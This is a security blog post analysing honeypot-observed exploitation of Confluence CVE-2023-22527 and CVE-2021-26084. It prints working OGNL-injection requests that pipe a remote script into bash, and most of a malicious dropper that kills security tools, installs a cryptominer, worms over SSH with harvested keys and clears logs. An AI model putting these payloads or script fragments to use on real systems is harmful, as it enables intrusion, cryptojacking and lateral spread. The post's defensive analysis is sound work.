Where are they now? Starring: Confluence CVE-2023-22527

Let’s look at current exploitation of CVE-2023-22527 - a Confluence template-injection vulnerability
confluence
backdoor
CVE-2023-22527
Author

Ron Bowes

Published

March 13, 2024

In January/2024, a new vulnerability burst onto the scene - CVE-2023-22527. As the next rising star, it came in with a blast, turning heads and creating buzz. “Atlassian Confluence bugs are often leveraged by attackers in the wild”, gushed industry publication Bleeping Computer back in January. “Customers must take immediate action to protect their Confluence instances”, warned Atlassian, adding “[w]e recommend engaging a specialist security firm for further investigation”.

But now it’s been nearly two full months and CVE-2023-22527 is long forgotten - just a fading star of yesterweek. Hot new stars like JetBrains TeamCity (CVE-2024-27198) are being cast in the hit new drama series, but whatever happened to CVE-2023-22527?

Well, despite rumors to the contrary, CVE-2023-22527 isn’t dead! Let’s see what it’s been up to in the weeks since it was all the rage.

The state of the vulns

Kidding aside, I decided to spend some time this week to look back at the various vulnerabilities from the past few months to see what’s going on - Fortra GoAnywhere, Ivanti ICS, Gitlab, Ivanti ICS, Ofviz, Ivanti ICS, etc. Most of them don’t have a ton of interesting traffic anymore - just a quiet hum of vulnerability scanners knocking on doors asking whoami and stuff like that (it’s plausible, of course, that attackers will come back later to attacks systems they discover to be vulnerable). I guess like other aging stars, their shine wears off as everybody forgets about them until there’s a big compromise.

But Atlassian’s CVE-2023-22527 piqued my interest, because, even two months later, we’re still seeing a trickle of legitimate exploit activity. With somewhere in the realm of 4000 instances, it’s a super popular product. Let’s have a look at the activity!

Over the past week, across our entire fleet of sensors we’ve seen around 350 POST requests to an affected endpoint - /template/aui/text-inline.vm. The requests mostly look like this:

POST /template/aui/text-inline.vm HTTP/1.1
Host: <IP>
User-Agent: <UA>
Content-Length: 312
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd',(new freemarker.template.utility.Execute()).exec({"curl http://<IP>/ldr.sh|bash"}))

That exact exploit is remarkably similar to the ProjectDiscovery template, telling us that the attackers probably repurposed the scanner to do their exploitation:

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=(new freemarker.template.utility.Execute()).exec({"curl {{interactsh-url}}"})

It’s also quite similar to the Metasploit module (written by the same researchers):

  def inject_ognl(ognl, opts = {})
    opts = opts.clone
    param = rand_text_alphanumeric(6..10)
    final_opts = {
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'template/aui/text-inline.vm'),
      'vars_post' => {
        # label and param are both limited to a 200 character length by default
        'label' => "\\u0027+#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.#{param},{})+\\u0027",
        param => ognl
      }.merge(opts.delete('vars_post') || {})
    }.merge(opts)

    send_request_cgi(final_opts)
  end

The Metasploit module has a few improvements over the Nuclei template, such as randomized keys, but by and large it’s the same. I looked for other variations by searching our honeypots for simply template.utility.execute (case insensitive), but no other results showed up; this appears to be it!

It’s pretty safe to say that, based on the amount of exploit activity we’re seeing, anybody who has an unpatched host facing the internet is probably compromised.

But who?

Before we look at the payload, let’s take a look at what else is hitting our sensors. The traffic is mostly coming from one IP address. We’ve been seeing traffic from that address for a long time - at least back to 2021. That page notes that they’ve also been hitting the URI /pages/doenterpagevariables.action, which is related to CVE-2021-26084 - another Atlassian Confluence vulnerability

I pulled all their traffic for the past 7 days to see what else they’re up to. Other than the vulnerability in question (CVE-2023-22527), we saw two other exploits being used. One of them is indeed CVE-2021-26084:

POST /pages/doenterpagevariables.action HTTP/1.1
Host: <IP>
User-Agent: <UA>
Content-Length: 643
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

queryString=\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022javax.script.ScriptEngineManager\u0022).newInstance().getEngineByName(\u0022js\u0022).eval(\u0022var isWin=java.lang.System.getProperty(\u0027os.name\u0027).toLowerCase().contains(\u0027win\u0027);var p=new java.lang.ProcessBuilder;if(isWin){p.command([\u0027cmd.exe\u0027,\u0027/c\u0027,\u0027curl http://<IP>/ldr.sh|bash\u0027]);}else{p.command([\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027curl http://<IP>/ldr.sh|bash\u0027]);}p.redirectErrorStream(true);var pc=p.start();org.apache.commons.io.IOUtils.toString(pc.getInputStream())\u0022)}%2b\u0027

Interestingly, this exploit fetches the same payload script as we saw in CVE-2023-22527, but has one glaring difference: it can detect and alter how it executes the code depending on whether it’s a Windows and Linux target (cmd.exe vs bash); however, in both cases it pipes the payload into bash and, as we’ll see, the backdoor it fetches doesn’t actually support Windows). That strongly implies that they stuck their script into somebody else’s payload. As such, I assumed that when I searched, I’d find some public payload that roughly matches that one, but I actually didn’t. Maybe they developed this themselves? Or, maybe they got it from a non-public source? Not sure!

The second exploit is particularly odd:

GET /manager/html HTTP/1.1
Host: <IP>
User-Agent: <UA>
Authorization: Basic YWZpaXNrYzpha2tja3g
Connection: close
Accept-Encoding: gzip

That appears to be attempting to log into the Tomcat Manager using a hardcoded set of credentials: username afiiskc and password akkckx. Googling that didn’t turn up much - a couple defunct websites that were probably just echoing back that HTTP request, but nothing current or even available. What’s more, over the past week I see about 42,000 attempts to use that password from six different unrelated source IP addresses. I have no idea what that one is - possibly a backdoor? - but that can be a future mystery! But if you run Tomcat and that works to log in, please let me know :)

The payload

This is what I really wanted to get to - the payload! That is, the bash script called ldr.sh that’s downloaded and executed by the exploit.

It looks like a lot of effort went into this script, and I wanted to take it apart. I’m certainly no forensics expert, but I do know bash scripting! I didn’t want to include the full (malicious) script, but the excerpts below contain 95%+ of the script, roughly ordered from top to bottom.

Before we dig into the source, the TL;DR of what this does is:

  • Stop or kill a bunch of security tools, inspection tools, software, and other malware
  • Configure the system to be better at cryptocurrency mining
  • Download and execute a cryptocurrency miner
  • Attempt to spread to other systems with SSH-based trust relationships
  • Remove a few different logfiles

Now let’s look at each part of that in detail!

Step 1: Kill security tools

The bash script starts with the following attack code, which appears to be largely to kill security tools (comments are mine):

# Ensure that the path is *only* the standard bin directories
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

# Upstream IP (intentionally censored by me)
cc=http://<IP>

# This returns a random string, presumably to identify the host
sys=$(date|md5sum|awk -v n="$(date +%s)" '{print substr($1,1,n%7+6)}')
exe=$sys

# A function to fetch a file in a variety of different ways and make it executable
get() {
    curl -k $1>$2 || cc -k $1>$2 || wget --no-check-certificate -q -O- $1>$2 || curl $1>$2 || curl $1>$2 || ww -q -O- $1>$2 || ./dlr $1>$2 || ./dlr $1>$2
    chmod +x $2
}

# Disable preloaded libraries - presumably to evade security tools
chattr -ia /etc/ld.so.preload
cat /dev/null > /etc/ld.so.preload

# Not sure about this
mv /tmp/dlr dlr
mv /var/tmp/dlr dlr

# Remove a bunch of stuff from crontab
crontab -l | sed '/\.bashgo\|pastebin\|onion\|bprofr\|python\|curl\|wget\|\.sh/d' | crontab -

# Remove mounted filesystems with numeric names - probably some sorta security tools?
cat /proc/mounts | awk '{print $2}' | grep -P '/proc/\d+' | grep -Po '\d+' | xargs -I % kill -9 %

Then it kills a ton of different processes (note that pkill -f can match any part of the commandline - something I didn’t know!):

pkill -9 -f b64decode
pkill -9 -f MCf8
pkill -9 -f mysqldd
pkill -9 -f monero
pkill -9 -f kinsing
pkill -9 -f sshpass
pkill -9 -f sshexec
pkill -9 -f cnrig
pkill -9 -f attack
pkill -9 -f dovecat
pkill -9 -f javae
pkill -9 -f donate
pkill -9 -f 'scan\.log'
pkill -9 -f xmr-stak
pkill -9 -f crond64
pkill -9 -f stratum
pkill -9 -f /tmp/java
pkill -9 -f pastebin
pkill -9 -f '/tmp/\.'
pkill -9 -f 'so\.txt'
pkill -9 -f 'bash -s 3673'
pkill -9 -f 8005/cc5
pkill -9 -f /tmp/system
pkill -9 -f '\./cliented'
pkill -9 -f '\.inis'
pkill -9 -f certutil
pkill -9 -f excludefile
pkill -9 -f agettyd
pkill -9 -f kthreaddkk
pkill -9 -f /dev/shm
pkill -9 -f /var/tmp
pkill -9 -f '\./python'
pkill -9 -f '\./crun'
pkill -9 -f 'bash -s kthreaddk'
pkill -9 -f '\./\.'
pkill -9 -f '118/cf\.sh'
pkill -9 -f '\./lin64'
pkill -9 -f 'confluence/install\.sh'
pkill -9 -f 'unls64\.sh'
pkill -9 -f '\./system-xfwm4-session'
pkill -9 -f '\./httpd'
pkill -9 -f xmrig
pkill -9 -f kthreaddi
pkill -9 -f loligang
pkill -9 -f kthreaddw
pkill -9 -f chmod
pkill -9 '\.6379'
pkill -9 'load\.sh'
pkill -9 'init\.sh'
pkill -9 'solr\.sh'
pkill -9 '\.rsyslogds'
pkill -9 sysDworker
pkill -9 pnscan
pkill -9 masscan
pkill -9 juiceSSH
pkill -9 sysguard
pkill -9 kdevtmpfsi
pkill -9 solrd
pkill -9 polska
pkill -9 meminitsrv
pkill -9 networkservice
pkill -9 sysupdate
pkill -9 phpguard
pkill -9 phpupdate
pkill -9 networkmanager
pkill -9 knthread
pkill -9 mysqlserver
pkill -9 gitlabkill
pkill -9 watchbog
pkill -9 bashirc
pkill -9 zgrab

I asked ChatGPT to tell me what each of the processes is, and here are the ones it thinks it could identify (no promise on the accuracy - I’m skeptical that things like mysqldd and dovecat might be some sorta malware (and, in fact, that’s correct)):

  • mysqldd: MySQL
  • monero: Monero cryptocurrency
  • kinsing: Associated with a malware strain.
  • sshpass: sshpass
  • cnrig: Associated with Monero cryptocurrency mining. (No official website)
  • dovecat: Likely a typo, it might refer to Dovecot, an IMAP and POP3 email server.
  • xmr-stak: XMR-Stak
  • crond64: Likely associated with the cron daemon.
  • stratum: Likely associated with cryptocurrency mining.
  • pastebin: Pastebin
  • certutil: NSS (Network Security Services)
  • agettyd: Likely associated with the agetty process.
  • kthreaddkk: Likely a process name generated by malware.
  • kthreaddk: Likely a process name generated by malware.
  • system-xfwm4-session: Likely associated with Xfce window manager.
  • httpd: Apache HTTP Server
  • xmrig: XMRig
  • kthreaddi: Likely a process name generated by malware.
  • loligang: Likely associated with a malware strain.
  • kthreaddw: Likely a process name generated by malware.
  • solr.sh: Apache Solr
  • .rsyslogds: Likely associated with rsyslog configuration or logs.
  • sysDworker: Likely associated with SystemD.
  • pnscan: Likely associated with a port scanner.
  • masscan: Masscan
  • juiceSSH: JuiceSSH
  • kdevtmpfsi: Likely associated with the kdevtmpfsi malware.
  • solrd: Apache Solr
  • polska: Likely associated with a malware strain.
  • meminitsrv: Likely associated with memory initialization server.
  • sysupdate: Likely associated with system update processes.
  • phpguard: Likely associated with PHP security.
  • phpupdate: Likely associated with PHP updates.
  • networkmanager: NetworkManager
  • knthread: Likely a process name generated by malware.
  • mysqlserver: MySQL Server
  • watchbog: Likely associated with a malware strain.
  • zgrab: ZGrab

What’s fun is, at least some of those are other malicious softwares (like loligang, kthreaddi, dovecat, and others).

Step 2: Mine bitcoins faster

Next, it checks if the current user is root, and, if it is, it runs yy then tt:

if [ `whoami` = "root" ];then
         yy
         tt
else
 echo "error root！"
fi

# [...]

function yy() {
  sysctl -w vm.nr_hugepages=$(nproc)

  for i in $(find /sys/devices/system/node/node* -maxdepth 0 -type d);
  do
          echo 3 > "$i/hugepages/hugepages-1048576kB/nr_hugepages";
  done

  echo "1GB pages successfully enabled"
}

if grep -E 'AMD Ryzen|AMD EPYC' /proc/cpuinfo > /dev/null;
  then
  if grep "cpu family[[:space:]]\{1,\}:[[:space:]]25" /proc/cpuinfo > /dev/null;
    then
      if grep "model[[:space:]]\{1,\}:[[:space:]]97" /proc/cpuinfo > /dev/null;
        then
          echo "Detected Zen4 CPU"
          wrmsr -a 0xc0011020 0x4400000000000
          wrmsr -a 0xc0011021 0x4000000000040
          wrmsr -a 0xc0011022 0x8680000401570000
          wrmsr -a 0xc001102b 0x2040cc10
          echo "MSR register values for Zen4 applied"
        else
          echo "Detected Zen3 CPU"
          wrmsr -a 0xc0011020 0x4480000000000
          wrmsr -a 0xc0011021 0x1c000200000040
          wrmsr -a 0xc0011022 0xc000000401500000
          wrmsr -a 0xc001102b 0x2000cc14
          echo "MSR register values for Zen3 applied"
        fi
    else
      echo "Detected Zen1/Zen2 CPU"
      wrmsr -a 0xc0011020 0
      wrmsr -a 0xc0011021 0x40
      wrmsr -a 0xc0011022 0x1510000
      wrmsr -a 0xc001102b 0x2000cc16
      echo "MSR register values for Zen1/Zen2 applied"
    fi
elif grep "Intel" /proc/cpuinfo > /dev/null;
  then
    echo "Detected Intel CPU"
    wrmsr -a 0x1a4 0xf
    echo "MSR register values for Intel applied"
else
  echo "No supported CPU detected"
fi

At least some of that appears to be code from xmrig, which is mining software. You can probably see where we’re going with this!

Step 3: Kill more security tools

Once it finishes souping up the CPU, it tries to kill more security tools and competitors:

for i in $(ls /proc|grep '[0-9]'); do
  if ls -al /proc/$i 2>/dev/null|grep -w kthreaddk; then
     continue
  fi
  if ls -al /proc/$i 2>/dev/null|grep exe|grep "ninja\|bin/perl\|/dev/shm\|firewall\|3AvA"; then
    kill -9 $i
    continue
  fi
  if grep -a 'donate-level' /proc/$i/exe 1>/dev/null 2>&1; then
    kill -9 $i
  fi
done

And removes security tools using, humorously, their uninstall scripts:

if [ $(id -u) -eq 0 ]; then
    if ps aux|grep -i "[a]liyun"; then
        curl http://update.aegis.aliyun.com/download/uninstall.sh|bash
        curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh|bash
        pkill aliyun-service
        rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service /usr/local/aegis*
        systemctl stop aliyun.service
        systemctl disable aliyun.service
        service bcm-agent stop
        yum remove bcm-agent -y
        apt-get remove bcm-agent -y
    elif ps aux|grep -i "[y]unjing"; then
        /usr/local/qcloud/stargate/admin/uninstall.sh
        /usr/local/qcloud/YunJing/uninst.sh
        /usr/local/qcloud/monitor/barad/admin/uninstall.sh
    fi
fi

for i in $(ps -ef | grep -v grep | grep kthreaddk | awk '{print $2}'); do
  cat /proc/$i/exe | md5sum | grep "6db4f74c\|f316648e\|4a106ca9"
  if [ $? -ne 0 ]; then
    kill -9 $i
  fi
done

Step 4: Download and execute a miner

Finally, it does something sorta interesting and uses the get script to download a file called cron, then executes it, then deletes it:

ps -ef | grep -v bash | grep finfghsdhsda | grep -v grep
if [ $? -ne 0 ]; then
  PATH=".:$PATH"
  get $cc/cron $sys
  $sys
  sleep 1
fi
rm -rf /var/tmp/* /var/tmp/.* /tmp/* /tmp/.* $sys dlr

(Sidenote: I thought only I used the pattern ps | grep [...] | grep -v grep!)

A quick look at cron shows it’s a Linux executable:

ubuntu@ron-quarantine:~/confluence$ file cron
cron: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

Packed with UPX:

ubuntu@ron-quarantine:~/confluence$ strings -n24 cron
[...]
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $

Which is, thankfully, easy to unpack (warning: be sure to use a quarantine for this sorta thing):

ubuntu@ron-quarantine:~/confluence$ upx -d cron -o cron.unpacked
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   8966144 <-   3365504   37.54%   linux/amd64   cron.unpacked

Unpacked 1 file.

That turned out to be a big ol’ Go program with a bunch of references to cryptographic functions. It actually looks pretty similar to something called watchd0g from a blog I wrote about Ivanti, but not identical. VirusTotal says it’s a Bitcoin miner, which is consistent with my observations.

Whatever it’s here to do, that’s probably it - as far as I can tell, that’s the only thing that keeps running after the script terminates.

Step 5: Wormy worm

Anyway, after it installs that, it does something kinda cute.. it enumerates SSH keys from a variety of SSH directories, then finds a bunch of potential SSH servers from .ssh/config, .bash_history, known_hosts, etc. For every key and host, it tries to connect to the server to run the same payload (but just once):

_sig="$HOME/.localssh"
if [ ! -f $_sig ]; then
touch $_sig
KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*'|grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep IdentityFile|awk -F "IdentityFile" '{print $2 }')
KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem'|uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep HostName|awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history|grep -E "(ssh|scp)"|grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts|grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}"|uniq)
USERZ=$(
    echo root
    find ~/ /root /home -maxdepth 2 -name '\.ssh'|uniq|xargs find|awk '/id_rsa/'|awk -F'/' '{print $3}'|uniq|grep -v "\.ssh"
)
users=$(echo $USERZ|tr ' ' '\n'|nl|sort -u -k2|sort -n|cut -f2-)
hosts=$(echo "$HOSTS $HOSTS2 $HOSTS3"|grep -vw 127.0.0.1|tr ' ' '\n'|nl|sort -u -k2|sort -n|cut -f2-)
keys=$(echo "$KEYS $KEYS2 $KEYS3"|tr ' ' '\n'|nl|sort -u -k2|sort -n|cut -f2-)
for user in $users; do
    for host in $hosts; do
        for key in $keys; do
            chmod +r $key; chmod 400 $key
            ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl $cc/ldr.sh?ssh||curl $cc/ldr.sh?ssh2||wget -q -O- $cc/ldr.sh?ssh)|sh"
        done
    done
done
fi

Basically, it tries do do a little wormy thing. Pretty neat!

Note: If you have a file called $HOME/.localssh on your Confluence server, you should be concerned!

Step 6: Clean some logs

Finally, it clears out some logfiles before the script terminates:

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

Odds are high that it leaves some logs intact, but this is a good reminder that host-based logs are often insufficient due to potential tampering!

And that’s it!

I guess that’s it - an old exploit, a bitcoin miner, and a bit of worminess.

Hope you enjoyed the read! If you like these “dive into an exploit” sorta posts, let me know - I love writing these, so I hope folks love reading them.

Have a great day!